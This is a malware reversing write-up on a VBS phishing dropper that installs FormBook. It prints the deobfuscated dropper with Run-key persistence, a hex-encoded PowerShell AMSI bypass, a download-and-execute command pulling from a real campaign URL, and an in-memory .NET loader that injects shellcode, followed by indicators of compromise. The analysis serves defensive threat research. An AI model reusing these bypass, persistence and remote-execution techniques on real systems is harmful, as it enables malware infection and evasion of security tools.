VBS dropper reversing series - Act1: VBS to Formbook malware
This post is about reversing a VBS dropper from a recent campaign to deliver a variant of Formbook malware (MD5 hash: 9458c489c670d7573a281a2b784f9413). The VBS was delivered in phishing email and it’s available on MalShare [1] and VirusTotal [2]. It was sent to the victim user as Remittance_Advice_RF034815.vbs
The analysis was made for the script with the following hashes:
- MD5: 9c808e278fc991d32b57cafe475893d3
- SHA1: 8f2c7e32221133fe15bce5d6db15a728c2ce2309
- SHA256: ec9de1debb009076784a9035657af44a640963c5b5ae372183c94286d233fe44
Chain of events
The chain of events after analyzing this dropper is the following:
Phishing URL sent in an email -> VBS script -> Persistence -> PowerShell -> fetch Launcher & FormBook malware -> Load launcher in memory -> Load in memory and Launch FormBook
Clean version
After removing the obfuscation, the script takes the following format. See the next section that explains key functionality of this dropper.
1 scriptPath=replace(WScript.ScriptFullName,WScript.ScriptName,"")
2
3 SetPersistence()
4 RunPowerShell()
5
6 ''if directory exists, quit this script, otherwise copy the script to C:\Users\<username>\AppData\Local\Microsoft
7 if scriptPath = "C:\Users\"+GetObject("new:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B").UserName+"\AppData\Local\Microsoft" Then
8 WScript.Quit()
9 else
10 sCmd = "cmd /c copy" & scriptPath & WScript.ScriptName & " " & "C:\Users\"+GetObject("new:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B").UserName+"\AppData\Local\Microsoft" & "/Y"
11 GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run sCmd,0
12 End if
13
14 ''Runs the PowerShell script: do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);$tty='(New-Object Net.WebClient)'|IEX;[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http://logiservksa.com/js/ego/pan.jpg');$r78fd000sd= $mv -split '%' |ForEach-Object {[char][byte]"0x$_"};$y5jh62df0= $r78fd000sd -join ''|IEX
15 Sub RunPowerShell()
16 GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run "Powershell Set-PSReadlineOption -HistorySaveStyle SaveNothing" & ";$ObSJekpAvaYpmyBbkFPr='64!6F!20!7B!24!70!69!6E!67!20!3D!20!74!65!73!74!2D!63!6F!6E!6E!65!63!74!69!6F!6E!20!2D!63!6F!6D!70!20!67!6F!6F!67!6C!65!2E!63!6F!6D!20!2D!63!6F!75!6E!74!20!31!20!2D!51!75!69!65!74!7D!20!75!6E!74!69!6C!20!28!24!70!69!6E!67!29!3B!24!74!35!36!66!67!20!3D!20!5B!45!6E!75!6D!5D!3A!3A!54!6F!4F!62!6A!65!63!74!28!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!54!79!70!65!5D!2C!20!33!30!37!32!29!3B!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!72!76!69!63!65!50!6F!69!6E!74!4D!61!6E!61!67!65!72!5D!3A!3A!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!20!3D!20!24!74!35!36!66!67!3B!5B!52!65!66!5D!2E!41!73!73!65!6D!62!6C!79!2E!47!65!74!54!79!70!65!28!27!53!79!27!2B!27!73!74!65!6D!2E!27!2B!27!4D!61!6E!61!27!2B!27!67!65!6D!27!2B!27!65!6E!74!27!2B!27!2E!41!75!74!6F!6D!27!2B!27!61!74!69!6F!27!2B!27!6E!2E!41!27!2B!27!6D!27!2B!27!73!69!27!2B!27!55!74!69!6C!73!27!29!2E!47!65!74!46!69!65!6C!64!28!27!61!27!2B!27!6D!73!27!2B!27!69!49!27!2B!27!6E!69!74!46!61!27!2B!27!69!6C!65!64!27!2C!27!4E!6F!6E!40!40!40!27!2E!72!65!70!6C!61!63!65!28!27!40!40!40!27!2C!27!50!75!62!27!29!2B!27!6C!69!63!2C!53!27!2B!27!74!61!74!69!63!27!29!2E!53!65!74!56!61!6C!75!65!28!24!6E!75!6C!6C!2C!24!74!72!75!65!29!3B!24!74!74!79!3D!27!28!4E!65!77!2D!27!2B!27!4F!62!6A!65!27!2B!27!63!74!20!4E!65!27!2B!27!74!2E!57!65!27!2B!27!62!43!6C!69!27!2B!27!65!6E!74!29!27!7C!49!60!45!60!58!3B!5B!76!6F!69!64!5D!20!5B!53!79!73!74!65!6D!2E!52!65!66!6C!65!63!74!69!6F!6E!2E!41!73!73!65!6D!62!6C!79!5D!3A!3A!4C!6F!61!64!57!69!74!68!50!61!72!74!69!61!6C!4E!61!6D!65!28!27!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!27!29!3B!24!6D!76!3D!20!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!49!6E!74!65!72!61!63!74!69!6F!6E!5D!3A!3A!43!61!6C!6C!42!79!6E!61!6D!65!28!24!74!74!79!2C!27!44!6F!77!6E!6C!6F!61!64!53!74!72!69!6E!67!27!2C!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!43!61!6C!6C!54!79!70!65!5D!3A!3A!4D!65!74!68!6F!64!2C!27!68!74!74!70!3A!2F!2F!6C!6F!67!69!73!65!72!76!6B!73!61!2E!63!6F!6D!2F!6A!73!2F!65!67!6F!2F!70!61!6E!2E!6A!70!67!27!29!3B!24!72!37!38!66!64!30!30!30!73!64!3D!20!24!6D!76!20!2D!73!70!6C!69!74!20!27!25!27!20!7C!46!6F!72!45!61!63!68!2D!4F!62!6A!65!63!74!20!7B!5B!63!68!61!72!5D!5B!62!79!74!65!5D!22!30!78!24!5F!22!7D!3B!24!79!35!6A!68!36!32!64!66!30!3D!20!24!72!37!38!66!64!30!30!30!73!64!20!2D!6A!6F!69!6E!20!27!27!7C!49!60!45!60!58';$DFG45DFG0=$ObSJekpAvaYpmyBbkFPr.Split('!') | forEach {[char]([Convert]::toint16($_,16))};$DFG45DFG0 -join ''|& (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))",0
17 End Sub
18
19 ''reverse strings
20 Function ReverseString(reversedstringin)
21 str1=len(reversedstringin)
22 a=Left(reversedstringin,1)
23 for i=1 to str1
24 str2=Left(reversedstringin,i)
25 if len(str2)>1 then
26 str3=Right(str2,1) & WNAMAtyqMM
27 WNAMAtyqMM=str3
28 end if
29 next
30 ReverseString= WNAMAtyqMM & a
31 End Function
32
33 ''set the registry key for persistence, name is: oYTRNvhEVyKOWT
34 Function SetPersistence()
35 GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv").SetStringValue &H80000001,"Software\Microsoft\Windows\CurrentVersion\Run","oYTRNvhEVyKOWT","C:\Users\"+GetObject("new:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B").UserName+"\AppData\Local\Microsoft\" + WScript.ScriptName
36 End Function
Functionality
This section provides the key functionality of the analyzed VBS dropper.
The analyzed script first checks if it already exists in the path C:\Users\%USERNAME%\AppData\Local\Microsoft. If so, it quits. Otherwise, the script is copied to this directory (C:\Users\%USERNAME%\AppData\Local\Microsoft) (lines 7-12).
In order to achieve persistent execution (aka survive reboots), it sets - under the context of the user account it’s executed - the registry run key Software\Microsoft\Windows\CurrentVersion\Run named oYTRNvhEVyKOWT with value the name of the script (lines 34-36).
The main componenent of this dropper is the launch of PowerShell to fetch a resource from the URL http://logiservksa.com/js/ego/pan.jpg (lines 15-17)
The dropper makes use of reversed strings to evade signature detection and the function that reverses a given string is illustrated in lines 20-31.
Notes on PowerShell payload
The PowerShell payload exists in three variables: kVOHUVvHTAnXjotNr, XlrXkHOo and qVdbs. Assembling these three variables together we get the following payload:
Powershell Set-PSReadlineOption -HistorySaveStyle SaveNothing; $ObSJekpAvaYpmyBbkFPr='64!6F!20!7B!24!70!69!6E!67!20!3D!20!74!65!73!74!2D!63!6F!6E!6E!65!63!74!69!6F!6E!20!2D!63!6F!6D!70!20!67!6F!6F!67!6C!65!2E!63!6F!6D!20!2D!63!6F!75!6E!74!20!31!20!2D!51!75!69!65!74!7D!20!75!6E!74!69!6C!20!28!24!70!69!6E!67!29!3B!24!74!35!36!66!67!20!3D!20!5B!45!6E!75!6D!5D!3A!3A!54!6F!4F!62!6A!65!63!74!28!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!54!79!70!65!5D!2C!20!33!30!37!32!29!3B!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!72!76!69!63!65!50!6F!69!6E!74!4D!61!6E!61!67!65!72!5D!3A!3A!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!20!3D!20!24!74!35!36!66!67!3B!5B!52!65!66!5D!2E!41!73!73!65!6D!62!6C!79!2E!47!65!74!54!79!70!65!28!27!53!79!27!2B!27!73!74!65!6D!2E!27!2B!27!4D!61!6E!61!27!2B!27!67!65!6D!27!2B!27!65!6E!74!27!2B!27!2E!41!75!74!6F!6D!27!2B!27!61!74!69!6F!27!2B!27!6E!2E!41!27!2B!27!6D!27!2B!27!73!69!27!2B!27!55!74!69!6C!73!27!29!2E!47!65!74!46!69!65!6C!64!28!27!61!27!2B!27!6D!73!27!2B!27!69!49!27!2B!27!6E!69!74!46!61!27!2B!27!69!6C!65!64!27!2C!27!4E!6F!6E!40!40!40!27!2E!72!65!70!6C!61!63!65!28!27!40!40!40!27!2C!27!50!75!62!27!29!2B!27!6C!69!63!2C!53!27!2B!27!74!61!74!69!63!27!29!2E!53!65!74!56!61!6C!75!65!28!24!6E!75!6C!6C!2C!24!74!72!75!65!29!3B!24!74!74!79!3D!27!28!4E!65!77!2D!27!2B!27!4F!62!6A!65!27!2B!27!63!74!20!4E!65!27!2B!27!74!2E!57!65!27!2B!27!62!43!6C!69!27!2B!27!65!6E!74!29!27!7C!49!60!45!60!58!3B!5B!76!6F!69!64!5D!20!5B!53!79!73!74!65!6D!2E!52!65!66!6C!65!63!74!69!6F!6E!2E!41!73!73!65!6D!62!6C!79!5D!3A!3A!4C!6F!61!64!57!69!74!68!50!61!72!74!69!61!6C!4E!61!6D!65!28!27!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!27!29!3B!24!6D!76!3D!20!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!49!6E!74!65!72!61!63!74!69!6F!6E!5D!3A!3A!43!61!6C!6C!42!79!6E!61!6D!65!28!24!74!74!79!2C!27!44!6F!77!6E!6C!6F!61!64!53!74!72!69!6E!67!27!2C!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!43!61!6C!6C!54!79!70!65!5D!3A!3A!4D!65!74!68!6F!64!2C!27!68!74!74!70!3A!2F!2F!6C!6F!67!69!73!65!72!76!6B!73!61!2E!63!6F!6D!2F!6A!73!2F!65!67!6F!2F!70!61!6E!2E!6A!70!67!27!29!3B!24!72!37!38!66!64!30!30!30!73!64!3D!20!24!6D!76!20!2D!73!70!6C!69!74!20!27!25!27!20!7C!46!6F!72!45!61!63!68!2D!4F!62!6A!65!63!74!20!7B!5B!63!68!61!72!5D!5B!62!79!74!65!5D!22!30!78!24!5F!22!7D!3B!24!79!35!6A!68!36!32!64!66!30!3D!20!24!72!37!38!66!64!30!30!30!73!64!20!2D!6A!6F!69!6E!20!27!27!7C!49!60!45!60!58';$DFG45DFG0=$ObSJekpAvaYpmyBbkFPr.Split('!') | forEach {[char]([Convert]::toint16($_,16))};$DFG45DFG0 -join ''|& (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
One more step to decode the encoded payload and we get the downloading functionality of this script:
do {
$ping = test-connection -comp google.com -count 1 -Quiet
} until ($ping);
$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);
$tty='(New-Object Net.WebClient)'|IEX;
[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http://logiservksa.com/js/ego/pan.jpg');
$r78fd000sd= $mv -split '%' |ForEach-Object {[char][byte]"0x$_"};
$y5jh62df0= $r78fd000sd -join ''|IEX
The above payload is blocked by the AMSI (Anti Malware Scan Interface).
The last part of the PowerShell script and the one that actually executes in memory the fetched resource, is the following:
(-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
Which simply decodes to: IEX, an alias of PowerShell’s Invoke-Expression.
Response from the server
Pivoting in OSINT data, another URL of likely the same campaign was found: http://logiservksa.com/js/ego/mond.jpg. The response from the server was retrieved (hash: 0d892e07acadacf0247a71a23222c614) and the analysis revealed that it’s a URL encoded PowerShell script that loads in memory the .NET assembly Waves.dll (4c68d7a6c323cfc21da589bd49f8dad8). A hex encoded shellcode is given as input to Waves.dll.
After a little cleanup, the PowerShell script has the following structure:
1 function TZvIlBSg {
2 param($cqRuiJC)
3 $cqRuiJC = $cqRuiJC -split '(..)' | ? { $_ }
4 ForEach ($LvZxHLZf in $cqRuiJC){
5 [Convert]::ToInt32($LvZxHLZf,16)
6 }
7 }
8
9 [String]$VkrILdPBW='.NET assembly 4c68d7a6c323cfc21da589bd49f8dad8'
10
11 [Byte[]]$TKum=TZvIlBSg $VkrILdPBW
12
13 $y='[System.Appdomain]' |IEX;
14
15 $g55=$y.GetMethod("get_CurrentDomain")
16
17 [String]$KFVA='hex encoded shellcode'
18
19 $ewe0='$g55.Invoke($null,$null)' | IEX
20
21 $wwf5dd='$ewe0.Load($TKum)'
22
23 $wwf5dd| IEX
24
25 [Byte[]]$KFVA2= TZvIlBSg $KFVA
26
27 [Waves.YEWODSFM]::Y78HJ0R55('control.exe',$KFVA2)
An overview of the above script:
lines 1-7: function that decodes characters from hex line 9: loads the hex representation of .NET assembly (Waves.dll) in a variable line 11: decodes the .NET assembly from hex line 17: loads the hex representation of the gzip’ed version of Formbook in a variable line 21: loads the .NET assembly in memory line 23: executes the .NET assembly line 25: decodes the shellcode from hex line 27: gunzip Formbook and launch it
One of the things that stand out from the Waves.dll is usage of ConfuserEx v1.0.0 and the strings costura.mango.dll.zip (found in the resources of this .NET assembly) and aYMwFkPNDQUJNbHAZyEhRNLrOWPp in the References and Resources.
Indicators
URLs:
- http://logiservksa.com/js/ego/pan.jpg
- http://logiservksa.com/js/ego/mond.jpg (Response hash: 0d892e07acadacf0247a71a23222c614)
Persistence: Software\Microsoft\Windows\CurrentVersion\Run\oYTRNvhEVyKOWT
Path: C:\Users\%USERNAME%\AppData\Local\Microsoft
Hashes: Remittance_Advice_RF034815.vbs (dropper)
- MD5: 9c808e278fc991d32b57cafe475893d3
- SHA1: 8f2c7e32221133fe15bce5d6db15a728c2ce2309
- SHA256: ec9de1debb009076784a9035657af44a640963c5b5ae372183c94286d233fe44
Remittance_Advice_Ref219433.vbs (dropper)
- MD5: 385a1bec620875aa3bfa398228a4bcc4
- SHA1: 4581faea503fd713b43aaf1d0b7a0617a932d8dd
- SHA256: 051003ac5870ddc3474d8f1ac3feb51a9f7a2ed8a9d710e43b8e622c44b19222
Waves.dll (launcher)
- MD5: 4c68d7a6c323cfc21da589bd49f8dad8
- SHA1: 397050ca59b6e1337aef316b572450c68babee5e
- SHA256: 2b00da764f3be05db68aa87b2eba8a50e7fcd71d1a7af96d18a071d208488eb5
control.exe (FormBook variant)
- MD5: 9458c489c670d7573a281a2b784f9413
- SHA1: 1816dfc38e924c974fac377ba90dc8ccd2b4726d
- SHA256: 6a94d74b1ad3e438296dbecfd4703a212c63f9686a2f17b9d8ade3949ea46661
References
[1]: https://malshare.com/sample.php?action=detail&hash=9c808e278fc991d32b57cafe475893d3
[2]: https://www.virustotal.com/gui/file/ec9de1debb009076784a9035657af44a640963c5b5ae372183c94286d233fe44/detection
[3]: https://github.com/yck1509/ConfuserEx
[4]: https://app.any.run/tasks/41c369cf-6a55-40ba-bef7-5b9f7299193d/
[5]: https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
Acknowledgements
The analysis wouldn’t have been possible without contributions from schrodinger and TypeDefStruct!
tags: #reversing